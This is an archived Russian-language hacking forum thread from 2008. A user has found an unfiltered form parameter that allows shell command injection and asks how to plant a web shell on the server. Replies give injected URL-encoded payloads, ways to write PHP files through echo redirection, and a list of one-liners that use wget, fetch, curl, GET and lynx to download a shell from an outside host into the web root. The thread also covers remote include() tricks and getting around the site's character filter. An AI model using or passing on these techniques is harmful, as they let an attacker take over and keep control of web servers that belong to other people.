PDA

Просмотр полной версии : Как создать файл имея возможность выполнить команду интерпретатора?


n0mie
27.08.2008, 11:58
Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile 2.txt%3B
после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа
param1=180%3Becho+test%3Einclude%2Ffile.txt%3B
(%3E - это ">")
Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает.
Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально..

Nek1t
27.08.2008, 14:26
2n0mie,

echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php

.Slip
27.08.2008, 14:30
copy('remote file','localfile');

Nek1t
27.08.2008, 14:56
А, точно, можно еще просто слить файл из инета:
wget -O /some_folder/shell.php http://site.com/shell.txt

.Slip
27.08.2008, 15:15
А, точно, можно еще просто слить файл из инета:
Не подскажешь ли, давно в пхп появилась функция wget?

Nek1t
27.08.2008, 16:25
Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\

n0mie
27.08.2008, 17:50
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах..
Перенаправление в файл не работает, т.к. фильтруется вот таким образом:
$QWE = array('&' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => ''', "'" => ''');
$_POST[$key] = strtr(stripslashes($value), $QWE);
Возможно есть способ обойти такой фильтр, чтобы > не поменялось на &gt;?

Nek1t
27.08.2008, 19:33
n0mie
Универсального кроссплатформенного решения боюсь нет :)

Дык, wget'ом получилось залить?

.Slip, я был прав! :p

guest3297
28.08.2008, 00:56
Nek1t
видишь разницу между /bin/bash и интерпритарором php

2TS
не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt

Получить шелл ты можешь функцией system() exec() passhru() и так далее.
php.net тут справочник по функциям.

------------------------

update
мда...

Nek1t
28.08.2008, 12:04
[ cash ]
ТС несколько путает интерпритатор PHP и /bin/bash.

Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash

n0mie
28.08.2008, 12:08
ТС несколько путает интерпритатор PHP и /bin/bash.

Имхо просто не внимательно читаете..
"Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код."

Скачать файл получилось.. Только не wget, а fetch'ем..

Nek1t
28.08.2008, 12:35
Имхо просто не внимательно читаете..
Просто привык, что обычно интерпритатором называют PHP. Но собсно я изначально про /bin/bash говорил.
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код.

Гланое, что утерли нос [ cash ] и .Slip :p

slesh
28.08.2008, 12:57
Кстати есть довольно удобное решения для nixоподобных серверов когда нет возможности запустить wget или его нет.
для таких целей можно пролазеть, грубо вырожаясь через зад.
Часто сталкивался что только такие методы помогали.
curl http://size.com/shell.txt|cp /dev/stdin /dir/shell.php
GET http://size.com/shell.txt|cp /dev/stdin /dir/shell.php

Nek1t
28.08.2008, 13:34
lynx: lynx -source "http://site.com/perl.txt" > /tmp/perl.pl
links: как и lynx
wget: wget -O /tmp/perl.pl http://site.com/perl.txt
GET: GET http://site.com/perl.txt > /tmp/perl.pl
fetch: fetch -o perl.pl http://site.com/perl.txt
curl: curl --output perl http://site.com/perl.txt
(c)ICEMAN-666

slesh
28.08.2008, 13:36
в том то и дело что часто встречался с фильтром символов таких как ">"